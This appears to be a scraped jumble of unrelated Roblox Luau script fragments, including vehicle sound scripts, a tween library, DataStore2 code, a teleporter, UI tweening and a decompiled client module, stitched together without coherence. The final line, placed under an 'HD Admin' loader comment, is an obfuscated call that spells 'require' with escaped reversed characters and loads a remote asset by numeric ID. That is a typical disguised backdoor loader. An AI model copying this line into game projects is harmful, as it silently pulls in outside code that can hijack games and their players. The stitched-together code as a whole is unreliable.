local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local throt=0 local redline=0 script:WaitForChild("Rev") for i,v in pairs(car.Body.CarName.Value.VehicleSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.Body.CarName.Value.VehicleSeat,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") car.Body.CarName.Value.VehicleSeat:WaitForChild("Rev") while wait() do local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) else throt = math.min(1,throt+.1) end if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value) if FE then handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,script.Rev.Volume) else car.Body.CarName.Value.VehicleSeat.Rev.Pitch = Pitch end end
--[[ OrbitalCamera - Spherical coordinates control camera for top-down games 2018 Camera Update - AllYourBlox --]]
wait(999999999999999999999)
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{35,39,41,30,56,58},t}, [49]={{35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{35,39,41,30,56,58,20,19},t}, [59]={{35,39,41,59},t}, [63]={{35,39,41,30,56,58,23,62,63},t}, [34]={{35,34},t}, [21]={{35,39,41,30,56,58,20,21},t}, [48]={{35,34,32,31,29,28,44,45,49,48},t}, [27]={{35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{35,34,32,31},t}, [56]={{35,39,41,30,56},t}, [29]={{35,34,32,31,29},t}, [13]={n,f}, [47]={{35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{35,34,32,31,29,28,44,45},t}, [57]={{35,39,41,30,56,57},t}, [36]={{35,37,36},t}, [25]={{35,34,32,31,29,28,27,26,25},t}, [71]={{35,39,41,59,61,71},t}, [20]={{35,39,41,30,56,58,20},t}, [60]={{35,39,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{35,39,41,59,61,71,72,76,73,75},t}, [22]={{35,39,41,30,56,58,20,21,22},t}, [74]={{35,39,41,59,61,71,72,76,73,74},t}, [62]={{35,39,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{35,37},t}, [2]={n,f}, [35]={{35},t}, [53]={{35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{35,39,41,59,61,71,72,76,73},t}, [72]={{35,39,41,59,61,71,72},t}, [33]={{35,37,36,33},t}, [69]={{35,39,41,60,69},t}, [65]={{35,39,41,30,56,58,20,19,66,64,65},t}, [26]={{35,34,32,31,29,28,27,26},t}, [68]={{35,39,41,30,56,58,20,19,66,64,67,68},t}, [76]={{35,39,41,59,61,71,72,76},t}, [50]={{35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{35,39,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{35,34,32,31,29,28,27,26,25,24},t}, [23]={{35,39,41,30,56,58,23},t}, [44]={{35,34,32,31,29,28,44},t}, [39]={{35,39},t}, [32]={{35,34,32},t}, [3]={n,f}, [30]={{35,39,41,30},t}, [51]={{35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{35,39,41,30,56,58,20,19,66,64,67},t}, [61]={{35,39,41,59,61},t}, [55]={{35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{35,38,42},t}, [40]={{35,40},t}, [52]={{35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{35,39,41},t}, [17]={n,f}, [38]={{35,38},t}, [28]={{35,34,32,31,29,28},t}, [5]={n,f}, [64]={{35,39,41,30,56,58,20,19,66,64},t}, } return r
--[[ Native: tween = Tween.FromService(instance, tweenInfo, properties) See Wiki page on Tween object for methods and such Custom: tween = Tween.new(tweenInfo, callbackFunction) tween.TweenInfo tween.Callback tween.PlaybackState tween:Play() tween:Pause() tween:Cancel() tween.Completed(playbackState) tween.PlaybackStateChanged(playbackState) Custom Example: tween = Tween.new(TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, 0, true, 0), function(n) print(n) end) tween:Play() tween.Completed:Wait() --]]
local Tween = {} Tween.__index = Tween Tween.Easing = require(script:WaitForChild("Easing")) function Tween.new(tweenInfo, callback) do -- Verify callback is function: assert(typeof(callback) == "function", "Callback argument must be a function") -- Verify tweenInfo: local typeOfTweenInfo = typeof(tweenInfo) assert(typeOfTweenInfo == "TweenInfo" or typeOfTweenInfo == "table", "TweenInfo must be of type TweenInfo or table") -- Defaults: if (typeOfTweenInfo == "table") then if (tweenInfo.Time == nil) then tweenInfo.Time = 1 end if (tweenInfo.EasingStyle == nil) then tweenInfo.EasingStyle = Enum.EasingStyle.Quad end if (tweenInfo.EasingDirection == nil) then tweenInfo.EasingDirection = Enum.EasingDirection.Out end if (tweenInfo.RepeatCount == nil) then tweenInfo.RepeatCount = 0 end if (tweenInfo.Reverses == nil) then tweenInfo.Reverses = false end if (tweenInfo.DelayTime == nil) then tweenInfo.DelayTime = 0 end end end local completed = Instance.new("BindableEvent") local playbackStateChanged = Instance.new("BindableEvent") local self = setmetatable({ TweenInfo = tweenInfo; Callback = callback; PlaybackState = Enum.PlaybackState.Begin; Completed = completed.Event; PlaybackStateChanged = playbackStateChanged.Event; _id = "tween_" .. game:GetService("HttpService"):GenerateGUID(false); _playing = false; _paused = false; _completed = completed; _playbackStateChanged = playbackStateChanged; _elapsedTime = 0; _repeated = 0; _reversing = false; _elapsedDelayTime = 0; }, Tween) return self end function Tween:ResetState() self._playing = false self._paused = false self._elapsedTime = 0 self._repeated = 0 self._reversing = false self._elapsedDelayTime = 0 end function Tween:SetPlaybackState(state) local lastState = self.PlaybackState self.PlaybackState = state if (state ~= lastState) then self._playbackStateChanged:Fire(state) end end function Tween:Play() if (self._playing and not self._paused) then return end self._playing = true self._paused = false -- Resolve easing function: local easingFunc if (typeof(self.TweenInfo) == "TweenInfo") then easingFunc = Tween.Easing[self.TweenInfo.EasingDirection.Name][self.TweenInfo.EasingStyle.Name] else local dir, style dir = typeof(self.TweenInfo.EasingDirection) == "EnumItem" and self.TweenInfo.EasingDirection.Name or self.TweenInfo.EasingDirection style = typeof(self.TweenInfo.EasingStyle) == "EnumItem" and self.TweenInfo.EasingStyle.Name or self.TweenInfo.EasingStyle easingFunc = Tween.Easing[dir][style] if (not self.TweenInfo.RepeatCount) then self.TweenInfo.RepeatCount = 0 end end local tick = tick local elapsed = self._elapsedTime local duration = self.TweenInfo.Time local last = tick() local callback = self.Callback local reverses = self.TweenInfo.Reverses local elapsedDelay = self._elapsedDelayTime local durationDelay = self.TweenInfo.DelayTime local reversing = self._reversing local function OnCompleted() callback(easingFunc(duration, 0, 1, duration)) game:GetService("RunService"):UnbindFromRenderStep(self._id) self.PlaybackState = Enum.PlaybackState.Completed self._completed:Fire(self.PlaybackState) self:ResetState() end local function IsDelayed(dt) if (elapsedDelay >= durationDelay) then return false end elapsedDelay = (elapsedDelay + dt) self._elapsedDelayTime = elapsedDelay if (elapsedDelay < durationDelay) then self:SetPlaybackState(Enum.PlaybackState.Delayed) else self:SetPlaybackState(Enum.PlaybackState.Playing) end return (elapsedDelay < durationDelay) end -- Tween: game:GetService("RunService"):BindToRenderStep(self._id, Enum.RenderPriority.Camera.Value - 2, function() local now = tick() local dt = (now - last) last = now if (IsDelayed(dt)) then return end elapsed = (elapsed + dt) self._elapsedTime = elapsed local notDone = (elapsed < duration) if (notDone) then if (reversing) then callback(easingFunc(elapsed, 1, -1, duration)) else callback(easingFunc(elapsed, 0, 1, duration)) end else if ((self._repeated < self.TweenInfo.RepeatCount) or reversing) then if (reverses) then reversing = (not reversing) self._reversing = reversing end if ((not reverses) or (reversing)) then self._repeated = (self._repeated + 1) end if (not reversing) then self._elapsedDelayTime = 0 elapsedDelay = 0 end self._elapsedTime = 0 elapsed = 0 else OnCompleted() end end end) end function Tween:Pause() if ((not self._playing) or (self._paused)) then return end self._paused = true self:SetPlaybackState(Enum.PlaybackState.Paused) game:GetService("RunService"):UnbindFromRenderStep(self._id) end function Tween:Cancel() if (not self._playing) then return end game:GetService("RunService"):UnbindFromRenderStep(self._id) self:ResetState() self:SetPlaybackState(Enum.PlaybackState.Cancelled) self._completed:Fire(self.PlaybackState) end function Tween.fromService(...) return game:GetService("TweenService"):Create(...) end Tween.FromService = Tween.fromService Tween.New = Tween.new return Tween
-- A function to play fire sounds.
function PlayFireSound() local NewSound = FireSound:Clone() NewSound.Parent = Handle NewSound:Play() Debris:AddItem(NewSound, NewSound.TimeLength) end function PlayReloadSound() local NewSound = Handle.Reload:Clone() NewSound.Parent = Handle NewSound:Play() Debris:AddItem(NewSound, NewSound.TimeLength) end
--- Creates a link between two attachments. The module will constantly raycast between these two attachments. -- @param attachment1 Attachment object (can have a group attribute) -- @param attachment2 Attachment object
function Hitbox:LinkAttachments(attachment1: Attachment, attachment2: Attachment) local group: string? = attachment1:GetAttribute(DEFAULT_GROUP_NAME_INSTANCE) local point: Point = self:_CreatePoint(group, Hitbox.CastModes.LinkAttachments) point.Instances[1] = attachment1 point.Instances[2] = attachment2 table.insert(self.HitboxRaycastPoints, point) end
--[=[ One of the most useful functions this combines the latest values of observables at each chance! ```lua Rx.combineLatest({ child = Rx.fromSignal(Workspace.ChildAdded); lastChildRemoved = Rx.fromSignal(Workspace.ChildRemoved); value = 5; }):Subscribe(function(data) print(data.child) --> last child print(data.lastChildRemoved) --> other value print(data.value) --> 5 end) ``` :::tip Note that the resulting observable will not emit until all input observables are emitted. ::: @param observables { [TKey]: Observable<TEmitted> | TEmitted } @return Observable<{ [TKey]: TEmitted }> ]=]
function Rx.combineLatest(observables) assert(type(observables) == "table", "Bad observables") return Observable.new(function(sub) local pending = 0 local latest = {} for key, value in pairs(observables) do if Observable.isObservable(value) then pending = pending + 1 latest[key] = UNSET_VALUE else latest[key] = value end end if pending == 0 then sub:Fire(latest) sub:Complete() return end local maid = Maid.new() local function fireIfAllSet() for _, value in pairs(latest) do if value == UNSET_VALUE then return end end sub:Fire(Table.copy(latest)) end for key, observer in pairs(observables) do if Observable.isObservable(observer) then maid:GiveTask(observer:Subscribe( function(value) latest[key] = value fireIfAllSet() end, function(...) pending = pending - 1 sub:Fail(...) end, function() pending = pending - 1 if pending == 0 then sub:Complete() end end)) end end return maid end) end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_SoundsMisc") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local mult=0 local det=.13 script:WaitForChild("Rel") script:WaitForChild("Start") script.Parent.Values.Gear.Changed:connect(function() mult=1 end) for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rel",car.DriveSeat,script.Rel.SoundId,0,script.Rel.Volume,true) handler:FireServer("newSound","Start",car.DriveSeat,script.Start.SoundId,1,script.Start.Volume,false) handler:FireServer("playSound","Rel") car.DriveSeat:WaitForChild("Rel") car.DriveSeat:WaitForChild("Start") while wait() do mult=math.max(0,mult-.1) local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.PreOn.Value then handler:FireServer("playSound","Start") wait(4.0) else if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end RelVolume = 3*(1 - math.min(((script.Parent.Values.RPM.Value*3)/_Tune.Redline),1)) RelPitch = (math.max((((script.Rel.SetPitch.Value + script.Rel.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rel.SetPitch.Value)) * on end if FE then handler:FireServer("updateSound","Rel",script.Rel.SoundId,RelPitch,RelVolume) else car.DriveSeat.Rel.Volume = RelVolume car.DriveSeat.Rel.Pitch = RelPitch end end
--Made by Luckymaxer
Model = script.Parent Debris = game:GetService("Debris") FadeRate = 0.025 Rate = (1 / 15) Removing = false function RemoveModel() if Removing then return end local Parts = {} for i, v in pairs(Model:GetChildren()) do if v:IsA("Model") then table.insert(Parts, v) end end if #Parts == 0 then Removing = true Model.Name = "" Debris:AddItem(Model, 0.5) end end Model.ChildRemoved:connect(function(Child) RemoveModel() end) RemoveModel() while true do for i, v in pairs(Model:GetChildren()) do if v:IsA("Model") then for ii, vv in pairs(v:GetChildren()) do if vv:IsA("BasePart") and vv.Transparency < 1 then local NewTransparency = (vv.Transparency + FadeRate) vv.Transparency = ((NewTransparency <= 1 and NewTransparency) or 1) if vv.Transparency >= 1 then for iii, vvv in pairs(vv:GetChildren()) do if vvv:IsA("Light") or vvv:IsA("Fire") or vvv:IsA("Smoke") or vvv:IsA("ParticleEmitter") then vvv.Enabled = false end end end end end end end wait(Rate) end
-- This next line is required as the script might run before the chat is created and loaded.
repeat wait() until StarterGui:GetCore("ChatWindowSize") ~= nil
-- Data store for tracking purchases that were successfully processed
local purchaseHistoryStore = DataStoreService:GetDataStore("PurchaseHistory") MarketplaceService.PromptProductPurchaseFinished:Connect(function(UserId , assetId , wasPurchased ) _G.FinishedPurchase(UserId,assetId,wasPurchased) end)
-- ROBLOX deviation: omitted imports for sparseArrayEquality
local subsetEquality = Utils.subsetEquality local typeEquality = Utils.typeEquality
--[[** <description> Run this once to combine all keys provided into one "main key". Internally, this means that data will be stored in a table with the key mainKey. This is used to get around the 2-DataStore2 reliability caveat. </description> <parameter name = "mainKey"> The key that will be used to house the table. </parameter> <parameter name = "..."> All the keys to combine under one table. </parameter> **--]]
function DataStore2.Combine(mainKey, ...) for _, name in pairs({...}) do combinedDataStoreInfo[name] = mainKey end end function DataStore2.ClearCache() DataStoreCache = {} end function DataStore2.SaveAll(player) if DataStoreCache[player] then for _, dataStore in pairs(DataStoreCache[player]) do if dataStore.combinedStore == nil then dataStore:Save() end end end end function DataStore2.PatchGlobalSettings(patch) for key, value in pairs(patch) do assert(Settings[key] ~= nil, "No such key exists: " .. key) -- TODO: Implement type checking with this when osyris' t is in Settings[key] = value end end function DataStore2.__call(_, dataStoreName, player) assert( typeof(dataStoreName) == "string" and typeof(player) == "Instance", ("DataStore2() API call expected {string dataStoreName, Instance player}, got {%s, %s}") :format( typeof(dataStoreName), typeof(player) ) ) if DataStoreCache[player] and DataStoreCache[player][dataStoreName] then return DataStoreCache[player][dataStoreName] elseif combinedDataStoreInfo[dataStoreName] then local dataStore = DataStore2(combinedDataStoreInfo[dataStoreName], player) dataStore:BeforeSave(function(combinedData) for key in pairs(combinedData) do if combinedDataStoreInfo[key] then local combinedStore = DataStore2(key, player) local value = combinedStore:Get(nil, true) if value ~= nil then if combinedStore.combinedBeforeSave then value = combinedStore.combinedBeforeSave(clone(value)) end combinedData[key] = value end end end return combinedData end) local combinedStore = setmetatable({ combinedName = dataStoreName, combinedStore = dataStore, }, { __index = function(_, key) return CombinedDataStore[key] or dataStore[key] end }) if not DataStoreCache[player] then DataStoreCache[player] = {} end DataStoreCache[player][dataStoreName] = combinedStore return combinedStore end local dataStore = {} dataStore.Name = dataStoreName dataStore.UserId = player.UserId dataStore.callbacks = {} dataStore.beforeInitialGet = {} dataStore.afterSave = {} dataStore.bindToClose = {} dataStore.savingMethod = SavingMethods[Settings.SavingMethod].new(dataStore) setmetatable(dataStore, DataStoreMetatable) local event, fired = Instance.new("BindableEvent"), false game:BindToClose(function() if not fired then spawn(function() player.Parent = nil -- Forces AncestryChanged to fire and save the data end) event.Event:wait() end local value = dataStore:Get(nil, true) for _, bindToClose in pairs(dataStore.bindToClose) do bindToClose(player, value) end end) local playerLeavingConnection playerLeavingConnection = player.AncestryChanged:Connect(function() if player:IsDescendantOf(game) then return end playerLeavingConnection:Disconnect() dataStore:SaveAsync():andThen(function() --print("player left, saved " .. dataStoreName) end):catch(function(error) -- TODO: Something more elegant --warn("error when player left! " .. error) end):finally(function() event:Fire() fired = true end) delay(40, function() --Give a long delay for people who haven't figured out the cache :^( DataStoreCache[player] = nil end) end) if not DataStoreCache[player] then DataStoreCache[player] = {} end DataStoreCache[player][dataStoreName] = dataStore return dataStore end DataStore2.Constants = Constants return setmetatable(DataStore2, DataStore2)
------------------------------------
function onTouched(part) if part.Parent ~= nil then local h = part.Parent:findFirstChild("Humanoid") if h~=nil then local teleportfrom=script.Parent.Enabled.Value if teleportfrom~=0 then if h==humanoid then return end local teleportto=script.Parent.Parent:findFirstChild(modelname) if teleportto~=nil then local torso = h.Parent.Torso local location = {teleportto.Position} local i = 1 local x = location[i].x local y = location[i].y local z = location[i].z x = x + math.random(-1, 1) z = z + math.random(-1, 1) y = y + math.random(2, 3) local cf = torso.CFrame local lx = 0 local ly = y local lz = 0 script.Parent.Enabled.Value=0 teleportto.Enabled.Value=0 torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz)) wait(1) script.Parent.Enabled.Value=1 teleportto.Enabled.Value=1 else print("Could not find teleporter!") end end end end end script.Parent.Touched:connect(onTouched)
-- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__1 = game.Players.LocalPlayer; local v2 = {}; local l__LocalPlayer__3 = game.Players.LocalPlayer; local v4 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaDataModule")); v2.value = 0; v2.event = v4.event.Boosts; v4.event.Boosts.Event:connect(function(p1) if type(p1) == "number" then v2.value = p1; return; end; v2.value = 0; end); v2.value = v4.data.Boosts; return v2;
--// DO NOT EDIT THIS SCRIPT --// DO NOT EDIT THIS SCRIPT --// DO NOT EDIT THIS SCRIPT --// DO NOT EDIT THIS SCRIPT --// DO NOT EDIT THIS SCRIPT --// DO NOT EDIT THIS SCRIPT --// DO NOT EDIT THIS SCRIPT --// DO NOT EDIT THIS SCRIPT --// DO NOT EDIT THIS SCRIPT --// DO NOT EDIT THIS SCRIPT
local PlayerTools = {} PlayerTools.Players = { } return PlayerTools
-- folders
local powerupsFolder = replicatedStorage.Game.Powerups local mapActivePowerupsFolder = game.ReplicatedStorage.MapSettings.Powerups local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine) local descendants = maxAmmoFrame:GetDescendants() local instanceInfoTables = {} for _, item in pairs (descendants) do local infoTable = nil if item:IsA("ImageLabel") then infoTable = {INSTANCE = item, PROPERTY = "ImageTransparency", OFF = {ImageTransparency = 1}, ORIGINAL = {ImageTransparency = item["ImageTransparency"]}} elseif item:IsA("Frame") then infoTable = {INSTANCE = item, PROPERTY = "BackgroundTransparency", OFF = {BackgroundTransparency = 1}, ORIGINAL = {BackgroundTransparency = item["BackgroundTransparency"]}} elseif item:IsA("TextLabel") then infoTable = {INSTANCE = item, PROPERTY = "TextTransparency", OFF = {TextTransparency = 1}, ORIGINAL = {TextTransparency = item["TextTransparency"]}} else continue end table.insert(instanceInfoTables, infoTable) end table.insert(instanceInfoTables, {INSTANCE = maxAmmoFrame, PROPERTY = "ImageTransparency", OFF = {ImageTransparency = 1}, ORIGINAL = {ImageTransparency = maxAmmoFrame["ImageTransparency"]}}) local VisibleTime = 4 local Queue = 0 local function updateCard() Queue += 1 maxAmmoFrame.Visible = true -- off for _, infoTable in pairs (instanceInfoTables) do local instance = infoTable["INSTANCE"] local property = infoTable["PROPERTY"] instance[property] = 1 end -- on for _, infoTable in pairs (instanceInfoTables) do local instance = infoTable["INSTANCE"] local original = infoTable["ORIGINAL"] tweenService:Create(instance, tweenInfo, original):Play() end local start = tick() repeat wait() until (tick() - start) > VisibleTime or Queue > 1 if Queue > 1 then Queue -= 1 return end -- off for _, infoTable in pairs (instanceInfoTables) do local instance = infoTable["INSTANCE"] local off = infoTable["OFF"] tweenService:Create(instance, tweenInfo, off):Play() end local start = tick() repeat wait() until (tick() - start) > 1 or Queue > 1 if Queue > 1 then Queue -= 1 return end maxAmmoFrame.Visible = false Queue -= 1 end local function powerUpAdded(powerUp) if powerUp.Name == "MaxAmmo" then updateCard() end end mapActivePowerupsFolder.ChildAdded:Connect(powerUpAdded)
--[=[ @within Streamable @prop Instance Instance The current instance represented by the Streamable. If this is being observed, it will always exist. If not currently being observed, this will be `nil`. ]=]
--[[Weight and CG]]
Tune.Weight = 3968 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--Drilling Particles--
local drillingeffect1 = script.Parent.Drill1.PartEffect.DrillingEffect
--[[ For information on how to setup and use HD Admin, visit: https://devforum.roblox.com/t/HD/216819 --]] --[[ Last synced 9/7/2022 07:34 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)